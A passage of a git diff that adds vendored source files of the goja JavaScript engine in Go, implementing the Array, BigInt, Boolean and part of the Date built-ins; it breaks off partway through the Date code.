+func (r *Runtime) arrayproto_toSorted(call FunctionCall) Value { + var compareFn func(FunctionCall) Value + arg := call.Argument(0) + if arg != _undefined { + if arg, ok := arg.(*Object); ok { + compareFn, _ = arg.self.assertCallable() + } + if compareFn == nil { + panic(r.NewTypeError("The comparison function must be either a function or undefined")) + } + } + + o := call.This.ToObject(r) + length := toLength(o.self.getStr("length", nil)) + if length >= math.MaxUint32 { + panic(r.newError(r.getRangeError(), "Invalid array length")) + } + var a []Value + + if src := r.checkStdArrayObj(o); src != nil { + a = make([]Value, length) + copy(a, src.values) + } else { + a = make([]Value, 0, length) + for i := int64(0); i < length; i++ { + idx := valueInt(i) + a = append(a, nilSafe(o.self.getIdx(idx, nil))) + } + } + + ar := r.newArrayValues(a) + ctx := arraySortCtx{ + obj: ar.self, + compare: compareFn, + } + + sort.Stable(&ctx) + return ar +} + +func (r *Runtime) arrayproto_toSpliced(call FunctionCall) Value { + o := call.This.ToObject(r) + length := toLength(o.self.getStr("length", nil)) + actualStart := relToIdx(call.Argument(0).ToInteger(), length) + var actualSkipCount int64 + if len(call.Arguments) == 1 { + actualSkipCount = length - actualStart + } else if len(call.Arguments) > 1 { + actualSkipCount = min(max(call.Argument(1).ToInteger(), 0), length-actualStart) + } + itemCount := max(int64(len(call.Arguments)-2), 0) + newLength := length - actualSkipCount + itemCount + if newLength >= maxInt { + panic(r.NewTypeError("Invalid array length")) + } + + if src := r.checkStdArrayObj(o); src != nil { + var values []Value + if itemCount == actualSkipCount { + values = make([]Value, len(src.values)) + copy(values, src.values) + } else { + values = make([]Value, newLength) + copy(values, src.values[:actualStart]) + copy(values[actualStart+itemCount:], src.values[actualStart+actualSkipCount:]) + } + if itemCount > 0 { + copy(values[actualStart:], call.Arguments[2:]) + } + return r.newArrayValues(values) + } else { + a := r.newArrayLength(newLength) + var i int64 + rl := actualStart + actualSkipCount + + for i < actualStart { + pi := valueInt(i) + iValue := nilSafe(o.self.getIdx(pi, nil)) + createDataPropertyOrThrow(a, pi, iValue) + i++ + } + + if itemCount > 0 { + for _, item := range call.Arguments[2:] { + createDataPropertyOrThrow(a, valueInt(i), nilSafe(item)) + i++ + } + } + + for i < newLength { + pi := valueInt(i) + from := valueInt(rl) + fromValue := nilSafe(o.self.getIdx(from, nil)) + createDataPropertyOrThrow(a, pi, fromValue) + i++ + rl++ + } + + return a + } +} + +func (r *Runtime) checkStdArrayObj(obj *Object) *arrayObject { + if arr, ok := obj.self.(*arrayObject); ok && + arr.propValueCount == 0 && + arr.length == uint32(len(arr.values)) && + uint32(arr.objCount) == arr.length { + + return arr + } + + return nil +} + +func (r *Runtime) checkStdArrayObjWithProto(obj *Object) *arrayObject { + if arr := r.checkStdArrayObj(obj); arr != nil { + if p1, ok := arr.prototype.self.(*arrayObject); ok && p1.propValueCount == 0 { + if p2, ok := p1.prototype.self.(*baseObject); ok && p2.prototype == nil { + p2.ensurePropOrder() + if p2.idxPropCount == 0 { + return arr + } + } + } + } + return nil +} + +func (r *Runtime) checkStdArray(v Value) *arrayObject { + if obj, ok := v.(*Object); ok { + return r.checkStdArrayObj(obj) + } + + return nil +} + +func (r *Runtime) checkStdArrayIter(v Value) *arrayObject { + if arr := r.checkStdArray(v); arr != nil && + arr.getSym(SymIterator, nil) == r.getArrayValues() { + + return arr + } + + return nil +} + +func (r *Runtime) array_from(call FunctionCall) Value { + var mapFn func(FunctionCall) Value + if mapFnArg := call.Argument(1); mapFnArg != _undefined { + if mapFnObj, ok := mapFnArg.(*Object); ok { + if fn, ok := mapFnObj.self.assertCallable(); ok { + mapFn = fn + } + } + if mapFn == nil { + panic(r.NewTypeError("%s is not a function", mapFnArg)) + } + } + t := call.Argument(2) + items := call.Argument(0) + if mapFn == nil && call.This == r.global.Array { // mapFn may mutate the array + if arr := r.checkStdArrayIter(items); arr != nil { + items := make([]Value, len(arr.values)) + copy(items, arr.values) + return r.newArrayValues(items) + } + } + + var ctor func(args []Value, newTarget *Object) *Object + if call.This != r.global.Array { + if o, ok := call.This.(*Object); ok { + if c := o.self.assertConstructor(); c != nil { + ctor = c + } + } + } + var arr *Object + if usingIterator := toMethod(r.getV(items, SymIterator)); usingIterator != nil { + if ctor != nil { + arr = ctor([]Value{}, nil) + } else { + arr = r.newArrayValues(nil) + } + iter := r.getIterator(items, usingIterator) + if mapFn == nil { + if a := r.checkStdArrayObjWithProto(arr); a != nil { + var values []Value + iter.iterate(func(val Value) { + values = append(values, val) + }) + setArrayValues(a, values) + return arr + } + } + k := int64(0) + iter.iterate(func(val Value) { + if mapFn != nil { + val = mapFn(FunctionCall{This: t, Arguments: []Value{val, intToValue(k)}}) + } + createDataPropertyOrThrow(arr, intToValue(k), val) + k++ + }) + arr.self.setOwnStr("length", intToValue(k), true) + } else { + arrayLike := items.ToObject(r) + l := toLength(arrayLike.self.getStr("length", nil)) + if ctor != nil { + arr = ctor([]Value{intToValue(l)}, nil) + } else { + arr = r.newArrayValues(nil) + } + if mapFn == nil { + if a := r.checkStdArrayObjWithProto(arr); a != nil { + values := make([]Value, l) + for k := int64(0); k < l; k++ { + values[k] = nilSafe(arrayLike.self.getIdx(valueInt(k), nil)) + } + setArrayValues(a, values) + return arr + } + } + for k := int64(0); k < l; k++ { + idx := valueInt(k) + item := arrayLike.self.getIdx(idx, nil) + if mapFn != nil { + item = mapFn(FunctionCall{This: t, Arguments: []Value{item, idx}}) + } else { + item = nilSafe(item) + } + createDataPropertyOrThrow(arr, idx, item) + } + arr.self.setOwnStr("length", intToValue(l), true) + } + + return arr +} + +func (r *Runtime) array_isArray(call FunctionCall) Value { + if o, ok := call.Argument(0).(*Object); ok { + if isArray(o) { + return valueTrue + } + } + return valueFalse +} + +func (r *Runtime) array_of(call FunctionCall) Value { + var ctor func(args []Value, newTarget *Object) *Object + if call.This != r.global.Array { + if o, ok := call.This.(*Object); ok { + if c := o.self.assertConstructor(); c != nil { + ctor = c + } + } + } + if ctor == nil { + values := make([]Value, len(call.Arguments)) + copy(values, call.Arguments) + return r.newArrayValues(values) + } + l := intToValue(int64(len(call.Arguments))) + arr := ctor([]Value{l}, nil) + for i, val := range call.Arguments { + createDataPropertyOrThrow(arr, intToValue(int64(i)), val) + } + arr.self.setOwnStr("length", l, true) + return arr +} + +func (r *Runtime) arrayIterProto_next(call FunctionCall) Value { + thisObj := r.toObject(call.This) + if iter, ok := thisObj.self.(*arrayIterObject); ok { + return iter.next() + } + panic(r.NewTypeError("Method Array Iterator.prototype.next called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: thisObj}))) +} + +func createArrayProtoTemplate() *objectTemplate { + t := newObjectTemplate() + t.protoFactory = func(r *Runtime) *Object { + return r.global.ObjectPrototype + } + + t.putStr("length", func(r *Runtime) Value { return valueProp(_positiveZero, true, false, false) }) + + t.putStr("constructor", func(r *Runtime) Value { return valueProp(r.getArray(), true, false, true) }) + + t.putStr("at", func(r *Runtime) Value { return r.methodProp(r.arrayproto_at, "at", 1) }) + t.putStr("concat", func(r *Runtime) Value { return r.methodProp(r.arrayproto_concat, "concat", 1) }) + t.putStr("copyWithin", func(r *Runtime) Value { return r.methodProp(r.arrayproto_copyWithin, "copyWithin", 2) }) + t.putStr("entries", func(r *Runtime) Value { return r.methodProp(r.arrayproto_entries, "entries", 0) }) + t.putStr("every", func(r *Runtime) Value { return r.methodProp(r.arrayproto_every, "every", 1) }) + t.putStr("fill", func(r *Runtime) Value { return r.methodProp(r.arrayproto_fill, "fill", 1) }) + t.putStr("filter", func(r *Runtime) Value { return r.methodProp(r.arrayproto_filter, "filter", 1) }) + t.putStr("find", func(r *Runtime) Value { return r.methodProp(r.arrayproto_find, "find", 1) }) + t.putStr("findIndex", func(r *Runtime) Value { return r.methodProp(r.arrayproto_findIndex, "findIndex", 1) }) + t.putStr("findLast", func(r *Runtime) Value { return r.methodProp(r.arrayproto_findLast, "findLast", 1) }) + t.putStr("findLastIndex", func(r *Runtime) Value { return r.methodProp(r.arrayproto_findLastIndex, "findLastIndex", 1) }) + t.putStr("flat", func(r *Runtime) Value { return r.methodProp(r.arrayproto_flat, "flat", 0) }) + t.putStr("flatMap", func(r *Runtime) Value { return r.methodProp(r.arrayproto_flatMap, "flatMap", 1) }) + t.putStr("forEach", func(r *Runtime) Value { return r.methodProp(r.arrayproto_forEach, "forEach", 1) }) + t.putStr("includes", func(r *Runtime) Value { return r.methodProp(r.arrayproto_includes, "includes", 1) }) + t.putStr("indexOf", func(r *Runtime) Value { return r.methodProp(r.arrayproto_indexOf, "indexOf", 1) }) + t.putStr("join", func(r *Runtime) Value { return r.methodProp(r.arrayproto_join, "join", 1) }) + t.putStr("keys", func(r *Runtime) Value { return r.methodProp(r.arrayproto_keys, "keys", 0) }) + t.putStr("lastIndexOf", func(r *Runtime) Value { return r.methodProp(r.arrayproto_lastIndexOf, "lastIndexOf", 1) }) + t.putStr("map", func(r *Runtime) Value { return r.methodProp(r.arrayproto_map, "map", 1) }) + t.putStr("pop", func(r *Runtime) Value { return r.methodProp(r.arrayproto_pop, "pop", 0) }) + t.putStr("push", func(r *Runtime) Value { return r.methodProp(r.arrayproto_push, "push", 1) }) + t.putStr("reduce", func(r *Runtime) Value { return r.methodProp(r.arrayproto_reduce, "reduce", 1) }) + t.putStr("reduceRight", func(r *Runtime) Value { return r.methodProp(r.arrayproto_reduceRight, "reduceRight", 1) }) + t.putStr("reverse", func(r *Runtime) Value { return r.methodProp(r.arrayproto_reverse, "reverse", 0) }) + t.putStr("shift", func(r *Runtime) Value { return r.methodProp(r.arrayproto_shift, "shift", 0) }) + t.putStr("slice", func(r *Runtime) Value { return r.methodProp(r.arrayproto_slice, "slice", 2) }) + t.putStr("some", func(r *Runtime) Value { return r.methodProp(r.arrayproto_some, "some", 1) }) + t.putStr("sort", func(r *Runtime) Value { return r.methodProp(r.arrayproto_sort, "sort", 1) }) + t.putStr("splice", func(r *Runtime) Value { return r.methodProp(r.arrayproto_splice, "splice", 2) }) + t.putStr("toLocaleString", func(r *Runtime) Value { return r.methodProp(r.arrayproto_toLocaleString, "toLocaleString", 0) }) + t.putStr("toString", func(r *Runtime) Value { return valueProp(r.getArrayToString(), true, false, true) }) + t.putStr("unshift", func(r *Runtime) Value { return r.methodProp(r.arrayproto_unshift, "unshift", 1) }) + t.putStr("with", func(r *Runtime) Value { return r.methodProp(r.arrayproto_with, "with", 2) }) + t.putStr("toReversed", func(r *Runtime) Value { return r.methodProp(r.arrayproto_toReversed, "toReversed", 0) }) + t.putStr("toSorted", func(r *Runtime) Value { return r.methodProp(r.arrayproto_toSorted, "toSorted", 1) }) + t.putStr("toSpliced", func(r *Runtime) Value { return r.methodProp(r.arrayproto_toSpliced, "toSpliced", 2) }) + t.putStr("values", func(r *Runtime) Value { return valueProp(r.getArrayValues(), true, false, true) }) + + t.putSym(SymIterator, func(r *Runtime) Value { return valueProp(r.getArrayValues(), true, false, true) }) + t.putSym(SymUnscopables, func(r *Runtime) Value { + bl := r.newBaseObject(nil, classObject) + bl.setOwnStr("copyWithin", valueTrue, true) + bl.setOwnStr("entries", valueTrue, true) + bl.setOwnStr("fill", valueTrue, true) + bl.setOwnStr("find", valueTrue, true) + bl.setOwnStr("findIndex", valueTrue, true) + bl.setOwnStr("findLast", valueTrue, true) + bl.setOwnStr("findLastIndex", valueTrue, true) + bl.setOwnStr("flat", valueTrue, true) + bl.setOwnStr("flatMap", valueTrue, true) + bl.setOwnStr("includes", valueTrue, true) + bl.setOwnStr("keys", valueTrue, true) + bl.setOwnStr("values", valueTrue, true) + bl.setOwnStr("groupBy", valueTrue, true) + bl.setOwnStr("groupByToMap", valueTrue, true) + bl.setOwnStr("toReversed", valueTrue, true) + bl.setOwnStr("toSorted", valueTrue, true) + bl.setOwnStr("toSpliced", valueTrue, true) + + return valueProp(bl.val, false, false, true) + }) + + return t +} + +var arrayProtoTemplate *objectTemplate +var arrayProtoTemplateOnce sync.Once + +func getArrayProtoTemplate() *objectTemplate { + arrayProtoTemplateOnce.Do(func() { + arrayProtoTemplate = createArrayProtoTemplate() + }) + return arrayProtoTemplate +} + +func (r *Runtime) getArrayPrototype() *Object { + ret := r.global.ArrayPrototype + if ret == nil { + ret = &Object{runtime: r} + r.global.ArrayPrototype = ret + r.newTemplatedArrayObject(getArrayProtoTemplate(), ret) + } + return ret +} + +func (r *Runtime) getArray() *Object { + ret := r.global.Array + if ret == nil { + ret = &Object{runtime: r} + ret.self = r.createArray(ret) + r.global.Array = ret + } + return ret +} + +func (r *Runtime) createArray(val *Object) objectImpl { + o := r.newNativeFuncConstructObj(val, r.builtin_newArray, "Array", r.getArrayPrototype(), 1) + o._putProp("from", r.newNativeFunc(r.array_from, "from", 1), true, false, true) + o._putProp("isArray", r.newNativeFunc(r.array_isArray, "isArray", 1), true, false, true) + o._putProp("of", r.newNativeFunc(r.array_of, "of", 0), true, false, true) + r.putSpeciesReturnThis(o) + + return o +} + +func (r *Runtime) createArrayIterProto(val *Object) objectImpl { + o := newBaseObjectObj(val, r.getIteratorPrototype(), classObject) + + o._putProp("next", r.newNativeFunc(r.arrayIterProto_next, "next", 0), true, false, true) + o._putSym(SymToStringTag, valueProp(asciiString(classArrayIterator), false, false, true)) + + return o +} + +func (r *Runtime) getArrayValues() *Object { + ret := r.global.arrayValues + if ret == nil { + ret = r.newNativeFunc(r.arrayproto_values, "values", 0) + r.global.arrayValues = ret + } + return ret +} + +func (r *Runtime) getArrayToString() *Object { + ret := r.global.arrayToString + if ret == nil { + ret = r.newNativeFunc(r.arrayproto_toString, "toString", 0) + r.global.arrayToString = ret + } + return ret +} + +func (r *Runtime) getArrayIteratorPrototype() *Object { + var o *Object + if o = r.global.ArrayIteratorPrototype; o == nil { + o = &Object{runtime: r} + r.global.ArrayIteratorPrototype = o + o.self = r.createArrayIterProto(o) + } + return o + +} + +type sortable interface { + sortLen() int + sortGet(int) Value + swap(int, int) +} + +type arraySortCtx struct { + obj sortable + compare func(FunctionCall) Value +} + +func (a *arraySortCtx) sortCompare(x, y Value) int { + if x == nil && y == nil { + return 0 + } + + if x == nil { + return 1 + } + + if y == nil { + return -1 + } + + if x == _undefined && y == _undefined { + return 0 + } + + if x == _undefined { + return 1 + } + + if y == _undefined { + return -1 + } + + if a.compare != nil { + f := a.compare(FunctionCall{ + This: _undefined, + Arguments: []Value{x, y}, + }).ToFloat() + if f > 0 { + return 1 + } + if f < 0 { + return -1 + } + if math.Signbit(f) { + return -1 + } + return 0 + } + return x.toString().CompareTo(y.toString()) +} + +// sort.Interface + +func (a *arraySortCtx) Len() int { + return a.obj.sortLen() +} + +func (a *arraySortCtx) Less(j, k int) bool { + return a.sortCompare(a.obj.sortGet(j), a.obj.sortGet(k)) < 0 +} + +func (a *arraySortCtx) Swap(j, k int) { + a.obj.swap(j, k) +} diff --git a/backend/vendor/github.com/dop251/goja/builtin_bigint.go b/backend/vendor/github.com/dop251/goja/builtin_bigint.go new file mode 100644 index 0000000..a50ebcf --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/builtin_bigint.go @@ -0,0 +1,369 @@ +package goja + +import ( + "fmt" + "hash/maphash" + "math" + "math/big" + "reflect" + "strconv" + "sync" + + "github.com/dop251/goja/unistring" +) + +type valueBigInt big.Int + +func (v *valueBigInt) ToInteger() int64 { + v.ToNumber() + return 0 +} + +func (v *valueBigInt) toString() String { + return asciiString((*big.Int)(v).String()) +} + +func (v *valueBigInt) string() unistring.String { + return unistring.String(v.String()) +} + +func (v *valueBigInt) ToString() Value { + return v +} + +func (v *valueBigInt) String() string { + return (*big.Int)(v).String() +} + +func (v *valueBigInt) ToFloat() float64 { + v.ToNumber() + return 0 +} + +func (v *valueBigInt) ToNumber() Value { + panic(typeError("Cannot convert a BigInt value to a number")) +} + +func (v *valueBigInt) ToBoolean() bool { + return (*big.Int)(v).Sign() != 0 +} + +func (v *valueBigInt) ToObject(r *Runtime) *Object { + return r.newPrimitiveObject(v, r.getBigIntPrototype(), classObject) +} + +func (v *valueBigInt) SameAs(other Value) bool { + if o, ok := other.(*valueBigInt); ok { + return (*big.Int)(v).Cmp((*big.Int)(o)) == 0 + } + return false +} + +func (v *valueBigInt) Equals(other Value) bool { + switch o := other.(type) { + case *valueBigInt: + return (*big.Int)(v).Cmp((*big.Int)(o)) == 0 + case valueInt: + return (*big.Int)(v).Cmp(big.NewInt(int64(o))) == 0 + case valueFloat: + if IsInfinity(o) || math.IsNaN(float64(o)) { + return false + } + if f := big.NewFloat(float64(o)); f.IsInt() { + i, _ := f.Int(nil) + return (*big.Int)(v).Cmp(i) == 0 + } + return false + case String: + bigInt, err := stringToBigInt(o.toTrimmedUTF8()) + if err != nil { + return false + } + return bigInt.Cmp((*big.Int)(v)) == 0 + case valueBool: + return (*big.Int)(v).Int64() == o.ToInteger() + case *Object: + return v.Equals(o.toPrimitiveNumber()) + } + return false +} + +func (v *valueBigInt) StrictEquals(other Value) bool { + o, ok := other.(*valueBigInt) + if ok { + return (*big.Int)(v).Cmp((*big.Int)(o)) == 0 + } + return false +} + +func (v *valueBigInt) Export() interface{} { + return new(big.Int).Set((*big.Int)(v)) +} + +func (v *valueBigInt) ExportType() reflect.Type { + return typeBigInt +} + +func (v *valueBigInt) baseObject(rt *Runtime) *Object { + return rt.getBigIntPrototype() +} + +func (v *valueBigInt) hash(hash *maphash.Hash) uint64 { + var sign byte + if (*big.Int)(v).Sign() < 0 { + sign = 0x01 + } else { + sign = 0x00 + } + _ = hash.WriteByte(sign) + _, _ = hash.Write((*big.Int)(v).Bytes()) + h := hash.Sum64() + hash.Reset() + return h +} + +func toBigInt(value Value) *valueBigInt { + // Undefined Throw a TypeError exception. + // Null Throw a TypeError exception. + // Boolean Return 1n if prim is true and 0n if prim is false. + // BigInt Return prim. + // Number Throw a TypeError exception. + // String 1. Let n be StringToBigInt(prim). + // 2. If n is undefined, throw a SyntaxError exception. + // 3. Return n. + // Symbol Throw a TypeError exception. + switch prim := value.(type) { + case *valueBigInt: + return prim + case String: + bigInt, err := stringToBigInt(prim.toTrimmedUTF8()) + if err != nil { + panic(syntaxError(fmt.Sprintf("Cannot convert %s to a BigInt", prim))) + } + return (*valueBigInt)(bigInt) + case valueBool: + return (*valueBigInt)(big.NewInt(prim.ToInteger())) + case *Symbol: + panic(typeError("Cannot convert Symbol to a BigInt")) + case *Object: + return toBigInt(prim.toPrimitiveNumber()) + default: + panic(typeError(fmt.Sprintf("Cannot convert %s to a BigInt", prim))) + } +} + +func numberToBigInt(v Value) *valueBigInt { + switch v := toNumeric(v).(type) { + case *valueBigInt: + return v + case valueInt: + return (*valueBigInt)(big.NewInt(v.ToInteger())) + case valueFloat: + if IsInfinity(v) || math.IsNaN(float64(v)) { + panic(rangeError(fmt.Sprintf("Cannot convert %s to a BigInt", v))) + } + if f := big.NewFloat(float64(v)); f.IsInt() { + n, _ := f.Int(nil) + return (*valueBigInt)(n) + } + panic(rangeError(fmt.Sprintf("Cannot convert %s to a BigInt", v))) + case *Object: + prim := v.toPrimitiveNumber() + switch prim.(type) { + case valueInt, valueFloat: + return numberToBigInt(prim) + default: + return toBigInt(prim) + } + default: + panic(newTypeError("Cannot convert %s to a BigInt", v)) + } +} + +func stringToBigInt(str string) (*big.Int, error) { + var bigint big.Int + n, err := stringToInt(str) + if err != nil { + switch { + case isRangeErr(err): + bigint.SetString(str, 0) + case err == strconv.ErrSyntax: + default: + return nil, strconv.ErrSyntax + } + } else { + bigint.SetInt64(n) + } + return &bigint, nil +} + +func (r *Runtime) thisBigIntValue(value Value) Value { + switch t := value.(type) { + case *valueBigInt: + return t + case *Object: + switch t := t.self.(type) { + case *primitiveValueObject: + return r.thisBigIntValue(t.pValue) + case *objectGoReflect: + if t.exportType() == typeBigInt && t.valueOf != nil { + return t.valueOf() + } + } + } + panic(r.NewTypeError("requires that 'this' be a BigInt")) +} + +func (r *Runtime) bigintproto_valueOf(call FunctionCall) Value { + return r.thisBigIntValue(call.This) +} + +func (r *Runtime) bigintproto_toString(call FunctionCall) Value { + x := (*big.Int)(r.thisBigIntValue(call.This).(*valueBigInt)) + radix := call.Argument(0) + var radixMV int + + if radix == _undefined { + radixMV = 10 + } else { + radixMV = int(radix.ToInteger()) + if radixMV < 2 || radixMV > 36 { + panic(r.newError(r.getRangeError(), "radix must be an integer between 2 and 36")) + } + } + + return asciiString(x.Text(radixMV)) +} + +func (r *Runtime) bigint_asIntN(call FunctionCall) Value { + if len(call.Arguments) < 2 { + panic(r.NewTypeError("Cannot convert undefined to a BigInt")) + } + bits := r.toIndex(call.Argument(0).ToNumber()) + if bits < 0 { + panic(r.NewTypeError("Invalid value: not (convertible to) a safe integer")) + } + bigint := toBigInt(call.Argument(1)) + + twoToBits := new(big.Int).Lsh(big.NewInt(1), uint(bits)) + mod := new(big.Int).Mod((*big.Int)(bigint), twoToBits) + if bits > 0 && mod.Cmp(new(big.Int).Lsh(big.NewInt(1), uint(bits-1))) >= 0 { + return (*valueBigInt)(mod.Sub(mod, twoToBits)) + } else { + return (*valueBigInt)(mod) + } +} + +func (r *Runtime) bigint_asUintN(call FunctionCall) Value { + if len(call.Arguments) < 2 { + panic(r.NewTypeError("Cannot convert undefined to a BigInt")) + } + bits := r.toIndex(call.Argument(0).ToNumber()) + if bits < 0 { + panic(r.NewTypeError("Invalid value: not (convertible to) a safe integer")) + } + bigint := (*big.Int)(toBigInt(call.Argument(1))) + ret := new(big.Int).Mod(bigint, new(big.Int).Lsh(big.NewInt(1), uint(bits))) + return (*valueBigInt)(ret) +} + +var bigintTemplate *objectTemplate +var bigintTemplateOnce sync.Once + +func getBigIntTemplate() *objectTemplate { + bigintTemplateOnce.Do(func() { + bigintTemplate = createBigIntTemplate() + }) + return bigintTemplate +} + +func createBigIntTemplate() *objectTemplate { + t := newObjectTemplate() + t.protoFactory = func(r *Runtime) *Object { + return r.getFunctionPrototype() + } + + t.putStr("name", func(r *Runtime) Value { return valueProp(asciiString("BigInt"), false, false, true) }) + t.putStr("length", func(r *Runtime) Value { return valueProp(intToValue(1), false, false, true) }) + t.putStr("prototype", func(r *Runtime) Value { return valueProp(r.getBigIntPrototype(), false, false, false) }) + + t.putStr("asIntN", func(r *Runtime) Value { return r.methodProp(r.bigint_asIntN, "asIntN", 2) }) + t.putStr("asUintN", func(r *Runtime) Value { return r.methodProp(r.bigint_asUintN, "asUintN", 2) }) + + return t +} + +func (r *Runtime) builtin_BigInt(call FunctionCall) Value { + if len(call.Arguments) > 0 { + switch v := call.Argument(0).(type) { + case *valueBigInt, valueInt, valueFloat, *Object: + return numberToBigInt(v) + default: + return toBigInt(v) + } + } + return (*valueBigInt)(big.NewInt(0)) +} + +func (r *Runtime) builtin_newBigInt(args []Value, newTarget *Object) *Object { + if newTarget != nil { + panic(r.NewTypeError("BigInt is not a constructor")) + } + var v Value + if len(args) > 0 { + v = numberToBigInt(args[0]) + } else { + v = (*valueBigInt)(big.NewInt(0)) + } + return r.newPrimitiveObject(v, newTarget, classObject) +} + +func (r *Runtime) getBigInt() *Object { + ret := r.global.BigInt + if ret == nil { + ret = &Object{runtime: r} + r.global.BigInt = ret + r.newTemplatedFuncObject(getBigIntTemplate(), ret, r.builtin_BigInt, + r.wrapNativeConstruct(r.builtin_newBigInt, ret, r.getBigIntPrototype())) + } + return ret +} + +func createBigIntProtoTemplate() *objectTemplate { + t := newObjectTemplate() + t.protoFactory = func(r *Runtime) *Object { + return r.global.ObjectPrototype + } + + t.putStr("length", func(r *Runtime) Value { return valueProp(intToValue(0), false, false, true) }) + t.putStr("name", func(r *Runtime) Value { return valueProp(asciiString("BigInt"), false, false, true) }) + t.putStr("constructor", func(r *Runtime) Value { return valueProp(r.getBigInt(), true, false, true) }) + + t.putStr("toLocaleString", func(r *Runtime) Value { return r.methodProp(r.bigintproto_toString, "toLocaleString", 0) }) + t.putStr("toString", func(r *Runtime) Value { return r.methodProp(r.bigintproto_toString, "toString", 0) }) + t.putStr("valueOf", func(r *Runtime) Value { return r.methodProp(r.bigintproto_valueOf, "valueOf", 0) }) + t.putSym(SymToStringTag, func(r *Runtime) Value { return valueProp(asciiString("BigInt"), false, false, true) }) + + return t +} + +var bigintProtoTemplate *objectTemplate +var bigintProtoTemplateOnce sync.Once + +func getBigIntProtoTemplate() *objectTemplate { + bigintProtoTemplateOnce.Do(func() { + bigintProtoTemplate = createBigIntProtoTemplate() + }) + return bigintProtoTemplate +} + +func (r *Runtime) getBigIntPrototype() *Object { + ret := r.global.BigIntPrototype + if ret == nil { + ret = &Object{runtime: r} + r.global.BigIntPrototype = ret + o := r.newTemplatedObject(getBigIntProtoTemplate(), ret) + o.class = classObject + } + return ret +} diff --git a/backend/vendor/github.com/dop251/goja/builtin_boolean.go b/backend/vendor/github.com/dop251/goja/builtin_boolean.go new file mode 100644 index 0000000..8476328 --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/builtin_boolean.go @@ -0,0 +1,75 @@ +package goja + +func (r *Runtime) booleanproto_toString(call FunctionCall) Value { + var b bool + switch o := call.This.(type) { + case valueBool: + b = bool(o) + goto success + case *Object: + if p, ok := o.self.(*primitiveValueObject); ok { + if b1, ok := p.pValue.(valueBool); ok { + b = bool(b1) + goto success + } + } + if o, ok := o.self.(*objectGoReflect); ok { + if o.class == classBoolean && o.toString != nil { + return o.toString() + } + } + } + r.typeErrorResult(true, "Method Boolean.prototype.toString is called on incompatible receiver") + +success: + if b { + return stringTrue + } + return stringFalse +} + +func (r *Runtime) booleanproto_valueOf(call FunctionCall) Value { + switch o := call.This.(type) { + case valueBool: + return o + case *Object: + if p, ok := o.self.(*primitiveValueObject); ok { + if b, ok := p.pValue.(valueBool); ok { + return b + } + } + if o, ok := o.self.(*objectGoReflect); ok { + if o.class == classBoolean && o.valueOf != nil { + return o.valueOf() + } + } + } + + r.typeErrorResult(true, "Method Boolean.prototype.valueOf is called on incompatible receiver") + return nil +} + +func (r *Runtime) getBooleanPrototype() *Object { + ret := r.global.BooleanPrototype + if ret == nil { + ret = r.newPrimitiveObject(valueFalse, r.global.ObjectPrototype, classBoolean) + r.global.BooleanPrototype = ret + o := ret.self + o._putProp("toString", r.newNativeFunc(r.booleanproto_toString, "toString", 0), true, false, true) + o._putProp("valueOf", r.newNativeFunc(r.booleanproto_valueOf, "valueOf", 0), true, false, true) + o._putProp("constructor", r.getBoolean(), true, false, true) + } + return ret +} + +func (r *Runtime) getBoolean() *Object { + ret := r.global.Boolean + if ret == nil { + ret = &Object{runtime: r} + r.global.Boolean = ret + proto := r.getBooleanPrototype() + r.newNativeFuncAndConstruct(ret, r.builtin_Boolean, + r.wrapNativeConstruct(r.builtin_newBoolean, ret, proto), proto, "Boolean", intToValue(1)) + } + return ret +} diff --git a/backend/vendor/github.com/dop251/goja/builtin_date.go b/backend/vendor/github.com/dop251/goja/builtin_date.go new file mode 100644 index 0000000..16387f2 --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/builtin_date.go @@ -0,0 +1,1058 @@ +package goja + +import ( + "fmt" + "math" + "sync" + "time" +) + +func (r *Runtime) makeDate(args []Value, utc bool) (t time.Time, valid bool) { + switch { + case len(args) >= 2: + t = time.Date(1970, time.January, 1, 0, 0, 0, 0, time.Local) + t, valid = _dateSetYear(t, FunctionCall{Arguments: args}, 0, utc) + case len(args) == 0: + t = r.now() + valid = true + default: // one argument + if o, ok := args[0].(*Object); ok { + if d, ok := o.self.(*dateObject); ok { + t = d.time() + valid = true + } + } + if !valid { + pv := toPrimitive(args[0]) + if val, ok := pv.(String); ok { + return dateParse(val.String()) + } + pv = pv.ToNumber() + var n int64 + if i, ok := pv.(valueInt); ok { + n = int64(i) + } else if f, ok := pv.(valueFloat); ok { + f := float64(f) + if math.IsNaN(f) || math.IsInf(f, 0) { + return + } + if math.Abs(f) > maxTime { + return + } + n = int64(f) + } else { + n = pv.ToInteger() + } + t = timeFromMsec(n) + valid = true + } + } + if valid { + msec := t.Unix()*1000 + int64(t.Nanosecond()/1e6) + if msec < 0 { + msec = -msec + } + if msec > maxTime { + valid = false + } + } + return +} + +func (r *Runtime) newDateTime(args []Value, proto *Object) *Object { + t, isSet := r.makeDate(args, false) + return r.newDateObject(t, isSet, proto) +} + +func (r *Runtime) builtin_newDate(args []Value, proto *Object) *Object { + return r.newDateTime(args, proto) +} + +func (r *Runtime) builtin_date(FunctionCall) Value { + return asciiString(dateFormat(r.now())) +} + +func (r *Runtime) date_parse(call FunctionCall) Value { + t, set := dateParse(call.Argument(0).toString().String()) + if set { + return intToValue(timeToMsec(t)) + } + return _NaN +} + +func (r *Runtime) date_UTC(call FunctionCall) Value { + var args []Value + if len(call.Arguments) < 2 { + args = []Value{call.Argument(0), _positiveZero} + } else { + args = call.Arguments + } + t, valid := r.makeDate(args, true) + if !valid { + return _NaN + } + return intToValue(timeToMsec(t)) +} + +func (r *Runtime) date_now(FunctionCall) Value { + return intToValue(timeToMsec(r.now())) +} + +func (r *Runtime) dateproto_toString(call FunctionCall) Value { + obj := r.toObject(call.This) + if d, ok := obj.self.(*dateObject); ok { + if d.isSet() { + return asciiString(d.time().Format(dateTimeLayout)) + } else { + return stringInvalidDate + } + } + panic(r.NewTypeError("Method Date.prototype.toString is called on incompatible receiver")) +} + +func (r *Runtime) dateproto_toUTCString(call FunctionCall) Value { + obj := r.toObject(call.This) + if d, ok := obj.self.(*dateObject); ok { + if d.isSet() { + return asciiString(d.timeUTC().Format(utcDateTimeLayout)) + } else { + return stringInvalidDate + } + } + panic(r.NewTypeError("Method Date.prototype.toUTCString is called on incompatible receiver")) +} + +func (r *Runtime) dateproto_toISOString(call FunctionCall) Value { + obj := r.toObject(call.This) + if d, ok := obj.self.(*dateObject); ok { + if d.isSet() { + utc := d.timeUTC() + year := utc.Year() + if year >= -9999 